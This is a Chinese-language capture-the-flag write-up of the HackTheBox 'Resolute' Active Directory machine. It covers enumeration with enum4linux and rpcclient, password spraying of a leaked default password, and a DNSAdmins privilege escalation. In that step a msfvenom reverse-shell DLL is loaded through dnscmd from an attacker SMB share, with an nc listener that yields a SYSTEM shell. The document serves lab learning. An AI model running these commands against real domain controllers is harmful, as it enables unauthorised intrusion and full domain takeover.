0x0C-HackTheBox-Resolute

Set up

目标机器在 10.10.10.169

Recon

Nmap

# Nmap 7.80 scan initiated Wed Apr 29 23:11:13 2020 as: nmap -A -T4 -p- -v -oN nmap.txt 10.10.10.169
Increasing send delay for 10.10.10.169 from 0 to 5 due to 60 out of 149 dropped probes since last increase.
Increasing send delay for 10.10.10.169 from 5 to 10 due to 483 out of 1206 dropped probes since last increase.
Nmap scan report for 10.10.10.169
Host is up (0.30s latency).
Not shown: 65512 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-30 03:51:22Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49688/tcp open  msrpc        Microsoft Windows RPC
49712/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/29%Time=5EAA4937%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/29%OT=53%CT=1%CU=30809%PV=Y%DS=2%DC=T%G=Y%TM=5EAA4A0
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=RD%CI=RD%II=I%TS=B)S
OS:EQ(SP=104%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=A)OPS(O1=M54DNW8ST11%O2=M
OS:54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN
OS:(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=200
OS:0%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=
OS:Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%
OS:RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.059 days (since Wed Apr 29 22:21:31 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h28m39s, deviation: 4h02m30s, median: 8m38s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2020-04-29T20:52:35-07:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-04-30T03:52:39
|_  start_date: 2020-04-30T03:19:31

TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   235.97 ms 10.10.14.1
2   282.03 ms 10.10.10.169

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 29 23:46:12 2020 -- 1 IP address (1 host up) scanned in 2099.63 seconds

Command History Refrence

1. dig - with dc ip - ineffective
2. enum4linux - found user with password Welcome123! - effective
3. GetNPUsers.py - with user marko and password Welcome123! - ineffective
4. evil-winrm - with user marko and password Welcome123! - ineffective
5. crackmapexec -  with user marko and password Welcome123! - ineffective
6. bloodhound-python - with user marko and password Welcome123! - ineffective
7. rpcclient - with user marko and password Welcome123! - ineffective
8. msf smb_login - found user melanie match passwod Welcome123!  - effective
9. bloodhound-python - with user melanie and password Welcome123! - found user ryan with password never expires configuration - effective - value not determined
10. rpcclient - with user melanie and password Welcome123! - found the same info as enum4linux - effective but not valuable
11. crackmapexec -  with user melanie and password Welcome123! - found only read rights - effective
12. evil-winrm -  with user melanie and password Welcome123! - found user flag - effective
13. evil-winrm - check NTDS - permission denied - ineffective
14. evil-winrm - check SAM SYSTEM file - reg save hklm\sam . - ineffective
15. evil-winrm - upload winpeas and execute - nothing interesting - ineffective
16. evil-winrm - powerup.ps1 - Write-HijackDll - ineffective
17. evil-winrm - net user melanie /domain - no DNSAdmins found - ineffective
------------------------------------------From Walkthrough--------------------------------------------------
18. evil-winrm - cd c:\ - ls -force|hidden - get ryan's password
19. evil-winrm login to ryan's account
20. evil-winrm - whoami /groups - found DNSAdmins privilege
21. kali - msfvenom -p windows/x64/shell_reverse_tcp LHOST=<host-ip> LPORT=<host-port> -a x64 -f dll -o <dll-name>
22. smbserver.py <sharen-ame> <share-path>
23. evil-winrm - dnscmd.exe resolute.megabank.local /config /serverlevelplugindll \\<host-ip>\<share-name>\<dll-name>
24. kali - nc -lvnp <host-port>
25. evil-winrm - sc.exe \\resolute.megabank.loca stop dns
26. evil-winrm - sc.exe \\resolute.megabank.loca start dns

Enumeration

扩展阅读
Enumerate Krb5 System

dig

➜  recon dig srv _kerberos.tcp.10.10.10.169

; <<>> DiG 9.16.2-Debian <<>> srv _kerberos.tcp.10.10.10.169
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57776
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;_kerberos.tcp.10.10.10.169.    IN      SRV

;; AUTHORITY SECTION:
.                       5       IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2020043000 1800 900 604800 86400

;; Query time: 88 msec
;; SERVER: 192.168.181.2#53(192.168.181.2)
;; WHEN: Thu Apr 30 04:19:42 EDT 2020
;; MSG SIZE  rcvd: 130

enum4linux

找到了 Domain Name

在这里插入图片描述
smb 没有权限

在这里插入图片描述
所有用户

在这里插入图片描述

服务器的密码策略

在这里插入图片描述

所有共工作组

在这里插入图片描述

再仔细看一遍用户,因为用户是我最关心的。结果发现了这个信息

在这里插入图片描述
marko:Welcome123!

好了。有了一个用户名密码,我希望再看到这个用户的系统权限。

我直接尝试获取 markoticket,但是失败了。

在这里插入图片描述

扩展阅读
文章里面讲了,GetNPUsers.py 只能获取那些设置了 UF_DONT_REQUIRE_PREAUTH 用户的 TGT
Impacket SecureAuth

看一下有没有登录端口。

在这里插入图片描述

扩展阅读
What is UPnP

看到了熟悉的 5985

尝试连接

在这里插入图片描述
但是连接出错。

我尝试了 crackmapexec,同样无法获取到信息。不知道是用户名和密码哪里没有用对。

在这里插入图片描述

尝试 bloodhound-python

在这里插入图片描述

各种尝试,都没有效果。

我想这个机器的名字是 resolute,我看到了 53 端口开着,有 DNS 服务。

在这里插入图片描述

最后尝试一下搜索 pentest active directory dns exploit

扩展阅读
DNS Admin PrivEsc
Pentesting DNS
DNS Redteaming
DNS Dump

DNS Redteaming 一文中,我看到了 DnsAdmins 成员类型。

搜索 pentest get dnsadmins membership
没有太多有用的信息

重新整理一下思路,是因为上面 enum4linux 有一个 marko:Welcome123! 的信息我没有正确利用导致现在还卡着。

搜索 enum4linux Account created Password set to

扩展阅读
Extract Info from Windos Using enum4linux
enum4linux Examples
Root with Just Enumerations

这篇文章解释了很多 enum4linux 输出的内容,比如 RID (Relative Identifier)

这篇文章 中,我看到了 rpcclient,回想之前 nmap 找到了很多 rpc 服务。尝试一下。

在这里插入图片描述

一开始尝试了几遍 marko 和他的密码,但是都失败了。
再尝试了一下 -N 无密码,还是失败。
最后尝试了一下匿名用户,登录了。有些进展。

在这里插入图片描述

搜索 pentest use rpcclient 查看一下 rpcclient 如何使用

扩展阅读
Rpcclient -1
Rpcclient -2
Rpcclient -3
Rpcclient -4

各种介绍使用方式,放心阅读。

尝试一个 enumdomuers,结果和 enum4linux 列出的一样

在这里插入图片描述

我最关心的是这个命令

在这里插入图片描述

我现在有一个 marko 用户,我想看他的权限。

在这里插入图片描述
他的 rid0x457

在这里插入图片描述

跟之前信息一样,显示账户密码是 Welcome123!,只是还没找到正确的地方使用。

扩展阅读
Pentest AD

密码肯定是正确的,都这么给出来了。要不就是不是这个用户的。因为上面找到了很多很多的用户。

搜索 pentest brute force smb login username

扩展阅读
SMB LOGIN Check

metasploitauxiliary/scanner/smb/smb_login 模块可以尝试不同的用户名密码组合,去尝试登录 smb 服务。

第一步把所有用户名保存下来。正好还能练习一下 shell script

在这里插入图片描述

保存下来的原文件是这样的

我要取出文件名的部分,那么写个脚本一直 cut 就可以了。

cat raw.txt | while read line; do echo $line | cut -d' ' -f1 | cut -d':' -f2 | cut -d'[' -f2 | cut -d']' -f1 >> user.txt;done

在这里插入图片描述

最后只留下用户名

在这里插入图片描述

尝试用户名和 Welcome123! 配对

在这里插入图片描述

在这里插入图片描述

melanie 成功登录。因为看到有 could not connect 的情况,万一是正确的用户名而连接断开,那就白费功夫,所以我试了3次,才得到这个结果。

这一晚上没白忙活。

smbclient

先列出 smb 文件夹

在这里插入图片描述

我先到 SYSVOL 看一下,前面 我写过 SYSVOL 可能会缓存 hash

在这里插入图片描述

结果是我看了每个 smb 文件夹,什么都没有发现。

回头一想,bloodhound 可以用起来了。

在这里插入图片描述

在这里插入图片描述
分析一下。


2020-05-01 08:24

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

看到 ryan 这个用户,password never expires。他是 contractors 一员,顺着下来,到 Domain Controllers,最后对 megabank.localGetChangesAll 权限。

搜索 pentest active directory password never expires exploit,读完几篇文章都没有什么有用信息。

我尝试 GetNPUsers 获取 ryanTGT,但是这个用户也没有设置 UF_DONT_REQUIRE_PREAUTH

我现在有一个用户列表,那我就写个脚本尝试获取每一个用户的 TGT

在这里插入图片描述

没有一个人可以获取到 TGT。这条路走不通。

psexec 也不能用,因为没有一个 smb 目录是可写的。

在这里插入图片描述

在看资料的时候看到 smb 有这个命令以后一定要试一下。

在这里插入图片描述

再回去看一下开放的端口和服务,看有没有遗漏的没有尝试的地方。

在这里插入图片描述

回去文章最上面,做了一个 Command History Reference,不然自己尝试过什么都忘了。发现 evil-winrm 还没有尝试。

在这里插入图片描述

这就是入口了。

Foothold

常规套路,找到可写文件夹,上传 reverse shell

在这里插入图片描述

先拿到 user flag

Privilege Escalation

首先我想到 NTDS 文件
在这里插入图片描述

没有权限

在这里插入图片描述

在这里插入图片描述

做保存操作一直卡着,也不行。

运行 winpeas

没有有用信息

Import-Module .\PowerUp.ps1,运行 Invoke-AllChekcs

在这里插入图片描述

这里看到一个 AbuseFunction Write-HijackDll。我直接复制后面这个一部分命令运行。

在这里插入图片描述

这里貌似添加了一个 john 用户,然后再把他添加到了 Admin 组。

我以为大功告成了,然后运行 net localgroup administrators 一看并没有这个用户。

在这里插入图片描述

试过好几遍都没用。再想想其他思路。

回去看一下,之前还有一个 DNSAdmin 的信息

扩展阅读
DNS Admin Privesc in AD

在这里插入图片描述

在这里插入图片描述

但是输出没有 DNSAdmins,这个方式也不行。

我还是觉得那个 write-hijiackdll 的挖掘不够。

搜索 write-hijiackdll example

扩展阅读
Offensive Tools and Techniques

这篇文章里面讲到了如何利用 Write-HijackDll

在这里插入图片描述

这个 dll 跟我这里列出来的一样。继续往下看。

在这里插入图片描述

在这里插入图片描述

同时,也看到了为什么之前我直接执行 Write-HijackDll 命令没有效果,是因为服务没有重启。如果服务重启的话,john 就会被添加到系统 Admin 组里。但是我怀疑 melanie 这个用户是没有权限重启服务的。但是可以重启机器。

在这里插入图片描述

所以,两种方式我都会尝试一下。

msfvenom

系统是 x64 的,通过 msfvenom 生成 wlbsctrl.dll

在这里插入图片描述

上传到指定的 C:\Users\melanie\AppData\local\Microsoft\WindowsApps\,然后重启目标机器。

先看一下当前的 wlbsctrl.dll 的创建时间,我要确保上传成功。

在这里插入图片描述

这个应该就是我之前直接运行 Write-HijackDll 写进去的。

上传。

在这里插入图片描述
Length0,有问题。

我上传到用户的 Documents 目录看一下。

在这里插入图片描述

这我就各种问号。

在这里插入图片描述

尝试传了很多文件,都是 0 长度。我断开连接在试一次,如果还不行就不管了,先重启再说。

在这里插入图片描述

扩展阅读
Windows IKEEXT Service

阅读这篇文章,可以用如下方法重启服务。

在这里插入图片描述

但是问题来了,在 evil-winrmservices 查看,并没有看到这个服务。

在这里插入图片描述

不能重启服务,用 evil-winrmDll-Loader 也尝试了一下,还是没有效果。

在这里插入图片描述

我觉得是这个 dll 长度为 0 ,由于某种原因其实根本没有上传上去。

尝试从本地直接加载。Dll-Loader 支持远程加载。

扩展阅读
All the Ways to Host File

在这里插入图片描述

在这里插入图片描述
尝试加载。

在这里插入图片描述

在这里插入图片描述

有报错了,说明读到内容了。看下是什么错误。

在这里插入图片描述

格式错误。我试下重新生成一个,不要指定架构了。

在这里插入图片描述

一直报这样的错误。

扩展阅读
How to Use msfvenom

好了,到此为止,搜一下 walkthrough


思路对了,还是 enumeration 没有做够。

C:\ 下面,可以用 ls -hidden|force 找出敏感文件。

在这里插入图片描述

有一个 PSTranscripts,结果里面有 ryan 用户的密码,另外,这个 ryan 就是我前面提到的 DNSAdmins,可以用 dll hijack 提权。思路对了,但是没有找到关键文件。

我也觉得奇怪,这个 ryan 用户没有办法利用,肯定有问题。

在这里插入图片描述

evil-winrm 登录 ryan 的账户。

在这里插入图片描述

DNSAdmins

然后可以用文章开头提到的 这篇文章DNS Admin PrivEsc 提权。

生成 dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=9905 -a x64 --platform windows -f dll -o dnsfun.dll

在这里插入图片描述

smbserver host

在这里插入图片描述

根据文章所说注入到 dns.exe

在这里插入图片描述

这里有一个要注意的点,<FQDN of DC>resolute.megabank.local 而不是 megabank,我又试了好久。

在这里插入图片描述

然后用 sc.exe 重启 dns 服务即可。

在这里插入图片描述

smbserver有连接进来。

在这里插入图片描述

拿到 system shell

在这里插入图片描述

最后这一步要成功,还要注意这个机器是共享的,很多人在用,操作要快,不然你的 dll 注入进去了之后又被别人的 dll 覆盖,重启了 dns 也拿不到 shell

Final Thoughts

  1. 不断尝试,尝试过程中做好记录,之后每次都要做 Command History Reference,好回溯,查看遗漏的地方。
  2. Enumerate 很重要,是所有操作的基础,从各种角度各种方式去发现问题。
  3. 在使用 smb_login 的地方, hydra 也同样可以达到目的。
  4. Windows 相关知识太薄弱了,多看资料多记录。
  5. Active Directory 做起来很费劲,因为不熟,思路也总是走偏。比如获取到对的用户名密码配对之后,还走了很多弯路才拿到用户的 flag。提权也是,无头苍蝇乱撞。万事开头难,保持这样的学习态势最重要。
  6. 正确的判断来自经验,经验来自错误的判断。